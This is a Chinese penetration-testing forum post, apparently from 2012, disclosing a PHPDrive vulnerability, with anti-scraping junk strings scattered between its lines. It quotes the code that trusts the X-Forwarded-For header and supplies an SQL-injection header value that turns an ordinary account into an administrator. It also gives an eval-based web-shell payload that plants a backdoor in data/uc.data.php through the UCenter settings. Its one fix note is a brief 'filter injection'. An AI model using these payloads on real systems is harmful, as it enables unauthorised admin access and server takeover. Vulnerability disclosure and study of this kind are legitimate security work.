中国网络渗透测试联盟
标题:
PHPDrive权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-12-31 09:18
标题:
PHPDrive权限提升漏洞
PHPDrive 是一套运行于 PHP 环境的文件管理系统，可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
3 G6 A, `; Z7 q+ g
! }- G5 b' ]; S1 z
includes/user.lib.php
* B* z4 H9 k" ~. a- B
行87
! m/ f9 v# Q$ {) i4 f) v; n! y
function get_ip() {
: r7 W \; U: W% x
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
. s& e' l7 P& t( r, W) o
在用户注册与登录 处module/disk/account.lead.php
6 p7 o: e- O8 k$ T3 n) f( M
198行
8 m" L& _: u/ u$ L2 F6 F
//更新本次登录IP和时间
$ P! S& k" _+ ]" a% f
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
1 ?# L( ?) e% U* h9 T* G" @; Z" m% M
由于本套程序user与manager是存在于同一个表下的，只是用group字段来区分两者,group=1为管理员，2则为普通用户。所以可以利用以上注入，将普通用户的group值改为1，即可提升权限
0 o3 H2 y0 ~. t* L6 H
实现方法：使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆，这时候你就是管理员了.
$ n. B8 ^% X/ g' [1 A
后台getshell:
* N% ?4 A. ?4 F! V
在UCenter设置处，将UC数据库登录名填写为
) G/ n) `; S: f' h& a5 M
% n5 u+ j1 s4 I, N) A1 N
root’);eval($_POST[DisKill]);?>/*
" f5 Z, M' h) K
可以得到一个shell,位置在 data/uc.data.php
+ Q) j0 d( G+ k
: G$ T# f9 e( C2 e+ t, W
修复：过滤注入
' O4 n- o$ h$ _. l
+ A& @% V- e# O( M/ `3 T# r7 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2